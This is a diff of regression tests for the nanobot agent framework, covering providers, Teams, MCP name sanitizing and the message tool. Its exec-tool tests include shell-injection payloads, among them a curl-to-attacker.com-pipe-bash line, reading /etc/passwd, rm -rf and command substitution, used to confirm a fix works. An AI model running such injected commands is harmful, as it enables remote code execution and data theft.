+            api_key="test", api_base="http://192.168.8.188:1234/v1", spec=spec,
+        )
+        pool = provider._client._client._transport._pool
+        assert pool._keepalive_expiry == 0
+
+    def test_cloud_keeps_default_keepalive(self):
+        spec = _make_spec(is_local=False)
+        spec.env_key = ""
+        spec.default_api_base = "https://api.openai.com/v1"
+        provider = OpenAICompatProvider(
+            api_key="test", api_base=None, spec=spec,
+        )
+        pool = provider._client._client._transport._pool
+        # Default httpx keepalive is 5.0s
+        assert pool._keepalive_expiry == 5.0

tests/providers/test_stepfun_reasoning.py

@@ -9,6 +9,17 @@ from types import SimpleNamespace
 from unittest.mock import patch
 
 from nanobot.providers.openai_compat_provider import OpenAICompatProvider
+from nanobot.providers.registry import ProviderSpec
+
+_STEPFUN_SPEC = ProviderSpec(
+    name="stepfun",
+    keywords=("stepfun", "step"),
+    env_key="STEPFUN_API_KEY",
+    display_name="Step Fun",
+    backend="openai_compat",
+    default_api_base="https://api.stepfun.com/v1",
+    reasoning_as_content=True,
+)
 
 
 # ── _parse: dict branch ─────────────────────────────────────────────────────
@@ -17,7 +28,7 @@ from nanobot.providers.openai_compat_provider import OpenAICompatProvider
 def test_parse_dict_stepfun_reasoning_fallback() -> None:
     """When content is None and reasoning exists, content falls back to reasoning."""
     with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
-        provider = OpenAICompatProvider()
+        provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
 
     response = {
         "choices": [{
@@ -39,7 +50,7 @@ def test_parse_dict_stepfun_reasoning_fallback() -> None:
 def test_parse_dict_stepfun_reasoning_priority() -> None:
     """reasoning_content field takes priority over reasoning when both present."""
     with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
-        provider = OpenAICompatProvider()
+        provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
 
     response = {
         "choices": [{
@@ -75,7 +86,7 @@ def _make_sdk_message(content, reasoning=None, reasoning_content=None):
 def test_parse_sdk_stepfun_reasoning_fallback() -> None:
     """SDK branch: content falls back to msg.reasoning when content is None."""
     with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
-        provider = OpenAICompatProvider()
+        provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
 
     msg = _make_sdk_message(content=None, reasoning="After analysis: result is 4.")
     choice = SimpleNamespace(finish_reason="stop", message=msg)
@@ -90,7 +101,7 @@ def test_parse_sdk_stepfun_reasoning_fallback() -> None:
 def test_parse_sdk_stepfun_reasoning_priority() -> None:
     """reasoning_content field takes priority over reasoning in SDK branch."""
     with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
-        provider = OpenAICompatProvider()
+        provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
 
     msg = _make_sdk_message(
         content=None,
@@ -244,3 +255,44 @@ def test_parse_chunks_sdk_reasoning_precedence() -> None:
     result = OpenAICompatProvider._parse_chunks(chunks)
 
     assert result.reasoning_content == "formal: "
+
+
+# ── Regression: non-StepFun providers must NOT promote reasoning to content ─
+
+
+def test_parse_dict_non_stepfun_no_reasoning_as_content() -> None:
+    """Providers without reasoning_as_content flag must not treat reasoning as content."""
+    with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
+        provider = OpenAICompatProvider()
+
+    response = {
+        "choices": [{
+            "message": {
+                "content": None,
+                "reasoning": "internal thought process that should NOT be shown to user",
+            },
+            "finish_reason": "stop",
+        }],
+    }
+
+    result = provider._parse(response)
+
+    # content stays None — reasoning is NOT promoted
+    assert result.content is None
+    # reasoning still goes to reasoning_content for display as thinking
+    assert result.reasoning_content == "internal thought process that should NOT be shown to user"
+
+
+def test_parse_sdk_non_stepfun_no_reasoning_as_content() -> None:
+    """SDK branch: providers without flag must not treat reasoning as content."""
+    with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
+        provider = OpenAICompatProvider()
+
+    msg = _make_sdk_message(content=None, reasoning="internal monologue")
+    choice = SimpleNamespace(finish_reason="stop", message=msg)
+    response = SimpleNamespace(choices=[choice], usage=None)
+
+    result = provider._parse(response)
+
+    assert result.content is None
+    assert result.reasoning_content == "internal monologue"

tests/test_msteams.py

@@ -1,4 +1,5 @@
 import json
+import time
 
 import pytest
 
@@ -512,6 +513,17 @@ def test_sanitize_inbound_text_keeps_normal_inline_message(make_channel):
     assert ch._sanitize_inbound_text(activity) == "normal inline message"
 
 
+def test_sanitize_inbound_text_normalizes_nbsp_entities(make_channel):
+    ch = make_channel()
+
+    activity = {
+        "text": "Hello from Teams",
+        "channelData": {},
+    }
+
+    assert ch._sanitize_inbound_text(activity) == "Hello from Teams"
+
+
 def test_sanitize_inbound_text_normalizes_reply_wrapper_without_reply_metadata(make_channel):
     ch = make_channel()
 
@@ -623,7 +635,7 @@ async def test_get_access_token_uses_configured_tenant(make_channel):
 
 
 @pytest.mark.asyncio
-async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channel):
+async def test_send_posts_to_conversation_with_reply_to_id_when_reply_in_thread_enabled(make_channel):
     ch = make_channel(replyInThread=True)
     fake_http = FakeHttpClient()
     ch._http = fake_http
@@ -639,7 +651,7 @@ async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channe
 
     assert len(fake_http.calls) == 1
     url, kwargs = fake_http.calls[0]
-    assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities/activity-1"
+    assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities"
     assert kwargs["headers"]["Authorization"] == "Bearer tok"
     assert kwargs["json"]["text"] == "Reply text"
     assert kwargs["json"]["replyToId"] == "activity-1"
@@ -830,6 +842,38 @@ async def test_start_logs_install_hint_when_pyjwt_missing(make_channel, monkeypa
     assert errors == ["PyJWT not installed. Run: pip install nanobot-ai[msteams]"]
 
 
+def test_save_refs_prunes_webchat_and_stale_refs(make_channel):
+    ch = make_channel()
+    now = time.time()
+    ch._conversation_refs = {
+        "teams-good": ConversationRef(
+            service_url="https://smba.trafficmanager.net/amer/",
+            conversation_id="teams-good",
+            conversation_type="personal",
+            updated_at=now,
+        ),
+        "webchat-bad": ConversationRef(
+            service_url="https://webchat.botframework.com/",
+            conversation_id="webchat-bad",
+            conversation_type=None,
+            updated_at=now,
+        ),
+        "teams-stale": ConversationRef(
+            service_url="https://smba.trafficmanager.net/amer/",
+            conversation_id="teams-stale",
+            conversation_type="personal",
+            updated_at=now - (31 * 24 * 60 * 60),
+        ),
+    }
+
+    ch._save_refs()
+
+    assert set(ch._conversation_refs) == {"teams-good"}
+    saved = json.loads(ch._refs_path.read_text(encoding="utf-8"))
+    assert set(saved) == {"teams-good"}
+    assert saved["teams-good"]["updated_at"] == pytest.approx(now)
+
+
 def test_msteams_default_config_includes_restart_notify_fields():
     cfg = MSTeamsChannel.default_config()
 

tests/tools/test_exec_env.py

@@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch):
     tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"])
     result = await tool.execute(command="printenv NONEXISTENT_VAR_12345")
     assert "Exit code: 1" in result
+
+
+# --- path_append injection prevention ------------------------------------
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+@pytest.mark.parametrize(
+    "malicious_path",
+    [
+        # semicolon — classic command separator
+        '/tmp/bin; echo INJECTED',
+        # command substitution via $()
+        '/tmp/bin; echo $(whoami)',
+        # backtick command substitution
+        "/tmp/bin; echo `id`",
+        # pipe to another command
+        '/tmp/bin; cat /etc/passwd',
+        # chained with &&
+        '/tmp/bin && curl http://attacker.com/shell.sh | bash',
+        # newline injection
+        '/tmp/bin\necho INJECTED',
+        # mixed shell metacharacters
+        '/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
+    ],
+)
+async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path):
+    """Shell metacharacters in path_append must NOT be interpreted as commands.
+
+    Regression test for: path_append was previously concatenated into a shell
+    command string via f'export PATH="$PATH:{path_append}"; {command}', which
+    allowed shell injection.  After the fix, path_append is passed through the
+    env dict so metacharacters are treated as literal path characters.
+    """
+    tool = ExecTool(path_append=malicious_path)
+    result = await tool.execute(command="echo SAFE_OUTPUT")
+
+    # The original command should succeed
+    assert "SAFE_OUTPUT" in result
+
+    # None of the injected payloads should have produced side-effects
+    assert "INJECTED" not in result
+    assert "root:" not in result  # /etc/passwd content
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+async def test_exec_path_append_command_substitution_does_not_execute(tmp_path):
+    """$() in path_append must not trigger command substitution.
+
+    We create a marker file and try to read it via $(cat ...).  If command
+    substitution works, the marker content appears in output.
+    """
+    marker = tmp_path / "secret_marker.txt"
+    marker.write_text("SHOULD_NOT_APPEAR")
+
+    tool = ExecTool(
+        path_append=f'/tmp/bin; echo $(cat {marker})',
+    )
+    result = await tool.execute(command="echo OK")
+
+    assert "OK" in result
+    assert "SHOULD_NOT_APPEAR" not in result
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+async def test_exec_path_append_legitimate_path_still_works():
+    """A normal, safe path_append value must still be appended to PATH."""
+    tool = ExecTool(path_append="/opt/custom/bin")
+    result = await tool.execute(command="echo $PATH")
+    assert "/opt/custom/bin" in result

tests/tools/test_exec_platform.py

@@ -148,23 +148,33 @@ class TestSpawnWindows:
 class TestPathAppendPlatform:
 
     @pytest.mark.asyncio
-    async def test_unix_injects_export(self):
-        """On Unix, path_append is an export statement prepended to command."""
+    async def test_unix_uses_env_var_in_fixed_export(self):
+        """On Unix, path_append must not be interpolated into shell source."""
         mock_proc = AsyncMock()
         mock_proc.communicate.return_value = (b"ok", b"")
         mock_proc.returncode = 0
 
+        captured_cmd = None
+        captured_env = {}
+
+        async def capture_spawn(cmd, cwd, env):
+            nonlocal captured_cmd
+            captured_cmd = cmd
+            captured_env.update(env)
+            return mock_proc
+
         with (
             patch("nanobot.agent.tools.shell._IS_WINDOWS", False),
-            patch.object(ExecTool, "_spawn", return_value=mock_proc) as mock_spawn,
+            patch("nanobot.agent.tools.shell.os.pathsep", ":"),
+            patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
             patch.object(ExecTool, "_guard_command", return_value=None),
         ):
-            tool = ExecTool(path_append="/opt/bin")
+            tool = ExecTool(path_append="/opt/bin; echo INJECTED")
             await tool.execute(command="ls")
 
-        spawned_cmd = mock_spawn.call_args[0][0]
-        assert 'export PATH="$PATH:/opt/bin"' in spawned_cmd
-        assert spawned_cmd.endswith("ls")
+        assert captured_cmd == 'export PATH="$PATH:$NANOBOT_PATH_APPEND"; ls'
+        assert captured_env["NANOBOT_PATH_APPEND"] == "/opt/bin; echo INJECTED"
+        assert "INJECTED" not in captured_cmd
 
     @pytest.mark.asyncio
     async def test_windows_modifies_env(self):
@@ -181,6 +191,7 @@ class TestPathAppendPlatform:
 
         with (
             patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
+            patch("nanobot.agent.tools.shell.os.pathsep", ";"),
             patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
             patch.object(ExecTool, "_guard_command", return_value=None),
         ):

tests/tools/test_mcp_tool.py

@@ -13,6 +13,7 @@ from nanobot.agent.tools.mcp import (
     MCPResourceWrapper,
     MCPToolWrapper,
     _normalize_windows_stdio_command,
+    _sanitize_name,
     connect_mcp_servers,
 )
 from nanobot.agent.tools.registry import ToolRegistry
@@ -798,3 +799,114 @@ async def test_connect_registers_resources_and_prompts(
     assert "mcp_test_tool_a" in registry.tool_names
     assert "mcp_test_resource_res_b" in registry.tool_names
     assert "mcp_test_prompt_prompt_c" in registry.tool_names
+
+
+# ---------------------------------------------------------------------------
+# _sanitize_name tests
+# ---------------------------------------------------------------------------
+
+
+def test_sanitize_name_replaces_spaces() -> None:
+    assert _sanitize_name("PostgreSQL System Information") == "PostgreSQL_System_Information"
+
+
+def test_sanitize_name_replaces_special_characters() -> None:
+    assert _sanitize_name("foo.bar@baz!") == "foo_bar_baz_"
+
+
+def test_sanitize_name_collapses_consecutive_underscores() -> None:
+    assert _sanitize_name("a   b") == "a_b"
+
+
+def test_sanitize_name_preserves_valid_characters() -> None:
+    assert _sanitize_name("my-tool_v2") == "my-tool_v2"
+
+
+def test_sanitize_name_noop_for_already_clean_names() -> None:
+    assert _sanitize_name("mcp_server_tool") == "mcp_server_tool"
+
+
+# ---------------------------------------------------------------------------
+# Wrapper sanitization tests
+# ---------------------------------------------------------------------------
+
+
+def test_tool_wrapper_sanitizes_name() -> None:
+    tool_def = SimpleNamespace(
+        name="My Tool",
+        description="tool with spaces",
+        inputSchema={"type": "object", "properties": {}},
+    )
+    wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
+    assert wrapper.name == "mcp_srv_My_Tool"
+
+
+def test_resource_wrapper_sanitizes_name() -> None:
+    resource_def = SimpleNamespace(
+        name="PostgreSQL System Information",
+        uri="file:///pg/info",
+        description="PG info",
+    )
+    wrapper = MCPResourceWrapper(None, "srv", resource_def)
+    assert wrapper.name == "mcp_srv_resource_PostgreSQL_System_Information"
+
+
+def test_prompt_wrapper_sanitizes_name() -> None:
+    prompt_def = SimpleNamespace(
+        name="design-schema",
+        description="Design schema",
+        arguments=None,
+    )
+    # Hyphens are allowed, so this should pass through unchanged
+    wrapper = MCPPromptWrapper(None, "my server", prompt_def)
+    assert wrapper.name == "mcp_my_server_prompt_design-schema"
+
+
+def test_tool_wrapper_preserves_original_name_for_mcp_call() -> None:
+    tool_def = SimpleNamespace(
+        name="My Tool",
+        description="tool with spaces",
+        inputSchema={"type": "object", "properties": {}},
+    )
+    wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
+    # The sanitized API-facing name differs from the original MCP name
+    assert wrapper.name == "mcp_srv_My_Tool"
+    assert wrapper._original_name == "My Tool"
+
+
+@pytest.mark.asyncio
+async def test_connect_mcp_servers_sanitizes_resource_names(
+    fake_mcp_runtime: dict[str, object | None],
+) -> None:
+    fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
+        tool_names=[],
+        resource_names=["PostgreSQL System Information"],
+        prompt_names=[],
+    )
+    registry = ToolRegistry()
+    stacks = await connect_mcp_servers(
+        {"test": MCPServerConfig(command="fake")},
+        registry,
+    )
+    for stack in stacks.values():
+        await stack.aclose()
+
+    assert "mcp_test_resource_PostgreSQL_System_Information" in registry.tool_names
+
+
+@pytest.mark.asyncio
+async def test_connect_mcp_servers_enabled_tools_matches_sanitized_name(
+    fake_mcp_runtime: dict[str, object | None],
+) -> None:
+    fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
+        tool_names=["My Tool", "other"],
+    )
+    registry = ToolRegistry()
+    stacks = await connect_mcp_servers(
+        {"test": MCPServerConfig(command="fake", enabled_tools=["mcp_test_My_Tool"])},
+        registry,
+    )
+    for stack in stacks.values():
+        await stack.aclose()
+
+    assert registry.tool_names == ["mcp_test_My_Tool"]

tests/tools/test_message_tool.py

@@ -1,6 +1,10 @@
+import os
+
 import pytest
 
 from nanobot.agent.tools.message import MessageTool
+from nanobot.bus.events import OutboundMessage
+from nanobot.config.paths import get_workspace_path
 
 
 @pytest.mark.asyncio
@@ -29,3 +33,172 @@ async def test_message_tool_rejects_malformed_buttons(bad) -> None:
         content="hi", channel="telegram", chat_id="1", buttons=bad,
     )
     assert result == "Error: buttons must be a list of list of strings"
+
+
+@pytest.mark.asyncio
+async def test_message_tool_marks_channel_delivery_only_when_enabled() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+
+    await tool.execute(content="normal", channel="telegram", chat_id="1")
+    token = tool.set_record_channel_delivery(True)
+    try:
+        await tool.execute(content="cron", channel="telegram", chat_id="1")
+    finally:
+        tool.reset_record_channel_delivery(token)
+
+    assert sent[0].metadata == {}
+    assert sent[1].metadata == {"_record_channel_delivery": True}
+
+
+@pytest.mark.asyncio
+async def test_message_tool_inherits_metadata_for_same_target() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+    slack_meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
+    tool.set_context("slack", "C123", metadata=slack_meta)
+
+    await tool.execute(content="thread reply")
+
+    assert sent[0].metadata == slack_meta
+
+
+@pytest.mark.asyncio
+async def test_message_tool_does_not_inherit_metadata_for_cross_target() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+    tool.set_context(
+        "slack",
+        "C123",
+        metadata={"slack": {"thread_ts": "111.222", "channel_type": "channel"}},
+    )
+
+    await tool.execute(content="channel reply", channel="slack", chat_id="C999")
+
+    assert sent[0].metadata == {}
+
+
+@pytest.mark.asyncio
+async def test_message_tool_resolves_relative_media_paths() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+
+    await tool.execute(
+        content="see attached",
+        channel="telegram",
+        chat_id="1",
+        media=["output/image.png"],
+    )
+
+    expected = str(get_workspace_path() / "output/image.png")
+    assert sent[0].media == [expected]
+
+
+@pytest.mark.asyncio
+async def test_message_tool_resolves_relative_media_paths_from_active_workspace(tmp_path) -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    workspace = tmp_path / "workspace"
+    tool = MessageTool(send_callback=_send, workspace=workspace)
+
+    await tool.execute(
+        content="see attached",
+        channel="telegram",
+        chat_id="1",
+        media=["output/image.png"],
+    )
+
+    assert sent[0].media == [str(workspace / "output/image.png")]
+
+
+@pytest.mark.asyncio
+async def test_message_tool_passes_through_absolute_media_paths() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+
+    abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "abs_image.png"))
+
+    await tool.execute(
+        content="see attached",
+        channel="telegram",
+        chat_id="1",
+        media=[abs_path],
+    )
+
+    assert sent[0].media == [abs_path]
+
+
+@pytest.mark.asyncio
+async def test_message_tool_passes_through_url_media_paths() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+
+    url = "https://example.com/image.png"
+
+    await tool.execute(
+        content="see attached",
+        channel="telegram",
+        chat_id="1",
+        media=[url],
+    )
+
+    assert sent[0].media == [url]
+
+
+@pytest.mark.asyncio
+async def test_message_tool_resolves_mixed_media_paths() -> None:
+    sent: list[OutboundMessage] = []
+
+    async def _send(msg: OutboundMessage) -> None:
+        sent.append(msg)
+
+    tool = MessageTool(send_callback=_send)
+
+    abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "absolute.png"))
+
+    await tool.execute(
+        content="see attached",
+        channel="telegram",
+        chat_id="1",
+        media=[
+            "output/relative.png",
+            abs_path,
+            "https://example.com/url.png",
+            "http://example.com/http.png",
+        ],
+    )
+
+    expected_relative = str(get_workspace_path() / "output/relative.png")
+    assert sent[0].media == [
+        expected_relative,
+        abs_path,
+        "https://example.com/url.png",
+        "http://example.com/http.png",
+    ]

tests/utils/test_restart.py

@@ -16,6 +16,7 @@ from nanobot.utils.restart import (
 def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
     monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
     monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
+    monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
     monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
 
     set_restart_notice_to_env(channel="feishu", chat_id="oc_123")
@@ -25,14 +26,42 @@ def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
     assert notice.channel == "feishu"
     assert notice.chat_id == "oc_123"
     assert notice.started_at_raw
+    assert notice.metadata == {}
 
     # Consumed values should be cleared from env.
     assert consume_restart_notice_from_env() is None
     assert "NANOBOT_RESTART_NOTIFY_CHANNEL" not in os.environ
     assert "NANOBOT_RESTART_NOTIFY_CHAT_ID" not in os.environ
+    assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
     assert "NANOBOT_RESTART_STARTED_AT" not in os.environ
 
 
+def test_restart_notice_preserves_metadata_across_env(monkeypatch):
+    monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
+    monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
+    monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
+    monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
+
+    set_restart_notice_to_env(
+        channel="slack",
+        chat_id="C123",
+        metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
+    )
+
+    notice = consume_restart_notice_from_env()
+    assert notice is not None
+    assert notice.metadata == {
+        "slack": {"thread_ts": "1700.42", "channel_type": "channel"}
+    }
+    assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
+
+
+def test_restart_notice_clears_stale_metadata(monkeypatch):
+    monkeypatch.setenv("NANOBOT_RESTART_NOTIFY_METADATA", '{"stale": true}')
+    set_restart_notice_to_env(channel="cli", chat_id="direct")
+    assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
+
+
 def test_format_restart_completed_message_with_elapsed(monkeypatch):
     monkeypatch.setattr("nanobot.utils.restart.time.time", lambda: 102.0)
     assert format_restart_completed_message("100.0") == "Restart completed in 2.0s."